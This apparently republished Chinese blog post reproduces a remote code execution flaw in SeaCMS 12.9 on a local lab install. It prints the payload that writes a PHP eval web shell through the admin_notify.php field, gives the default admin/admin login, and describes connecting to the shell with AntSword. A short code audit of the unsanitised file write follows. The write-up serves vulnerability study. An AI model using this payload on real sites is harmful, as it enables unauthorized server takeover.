当前位置: 首页 > news >正文

SeaCMS海洋影视管理系统远程代码执行漏洞复现

SeaCMS海洋影视管理系统远程代码执行漏洞复现

    • Ⅰ、环境搭建
    • Ⅱ、漏洞复现
    • Ⅲ、漏洞分析

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、环境搭建

首先搭建靶场环境

我们需要提前准备好一个正常使用的小皮面板

然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下

我的小皮面板服务目录在C:\phpstudy_pro\WWW

然后把刚刚的某洋cms放置到www目录下

在这里插入图片描述
然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57

所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始
在这里插入图片描述

直接同意

在这里插入图片描述
在这里插入图片描述

信息无误后点击下一步

下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管
在这里插入图片描述

点击下一步即可看见安装完成
在这里插入图片描述

Ⅱ、漏洞复现

接下来正式开始复现

http://192.168.212.133/SeaCMS_12.9/Upload/s2bj3v

首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录
在这里插入图片描述
在这里插入图片描述

因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了
在这里插入图片描述

注意ew6sv这个目录是上图自动生成的

然后我们可以直接去到

http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php

这个地址下的admin_notify.php文件

在这里插入图片描述

然后我们只需要在这里输入

1";@eval($_POST[cmd]);;//

然后下面的随便填,就像这样子

在这里插入图片描述

点击确认

确认后我们去到

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个位置,这里便是我们刚刚写入马子的位置

直接打开蚁剑就可以直接正向连接了
在这里插入图片描述

Ⅲ、漏洞分析

然后是代码审计

我们可以分别看一下这俩php文件到底发生了什么导致了RCE

在这里插入图片描述

首先是他以写模式打开了

http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php

这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了

然后我们看一下写入的内容

在这里插入图片描述
很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 经典文献阅读之--GraphAD(端到端自动驾驶的交互场景图)
  • 【笔记:3D航路规划算法】二、RRT*
  • UnityShaderUI编辑器扩展
  • 手撕数据结构---栈和队列的概念以及实现
  • go语言怎么实现dataauth?
  • “八股文”在实际工作中是助力、阻力还是空谈?
  • c程序杂谈系列(职责链模式与if_else)
  • Spring中使用到的设计模式及其源码分析
  • [红明谷CTF 2021]write_shell 1
  • UE5+OpenCV配置(Windows11系统)
  • Java从基础到高级特性及应用
  • 001.精读《Big Data: A Survey》
  • SVD用于图形处理★★★
  • element ui 修改table筛选按钮为自定义按钮
  • C# Parallel设置最大并发度
  • 网络传输文件的问题
  • 【腾讯Bugly干货分享】从0到1打造直播 App
  • 【许晓笛】 EOS 智能合约案例解析(3)
  • 2019.2.20 c++ 知识梳理
  • Android优雅地处理按钮重复点击
  • Git 使用集
  • Java IO学习笔记一
  • Java|序列化异常StreamCorruptedException的解决方法
  • js写一个简单的选项卡
  • Lucene解析 - 基本概念
  • python 装饰器(一)
  • SQL 难点解决:记录的引用
  • VUE es6技巧写法(持续更新中~~~)
  • Webpack 4x 之路 ( 四 )
  • 分布式熔断降级平台aegis
  • 基于遗传算法的优化问题求解
  • 简析gRPC client 连接管理
  • 聚类分析——Kmeans
  • 爬虫模拟登陆 SegmentFault
  • 写代码的正确姿势
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • 如何用纯 CSS 创作一个货车 loader
  • 正则表达式-基础知识Review
  • #java学习笔记(面向对象)----(未完结)
  • (C语言)共用体union的用法举例
  • (rabbitmq的高级特性)消息可靠性
  • (Redis使用系列) Springboot 在redis中使用BloomFilter布隆过滤器机制 六
  • (笔记)M1使用hombrew安装qemu
  • (二)延时任务篇——通过redis的key监听,实现延迟任务实战
  • (附表设计)不是我吹!超级全面的权限系统设计方案面世了
  • (贪心) LeetCode 45. 跳跃游戏 II
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • (自用)仿写程序
  • *** 2003
  • .FileZilla的使用和主动模式被动模式介绍
  • .java 9 找不到符号_java找不到符号
  • .NET 5.0正式发布,有什么功能特性(翻译)
  • .Net MVC + EF搭建学生管理系统
  • .NET MVC 验证码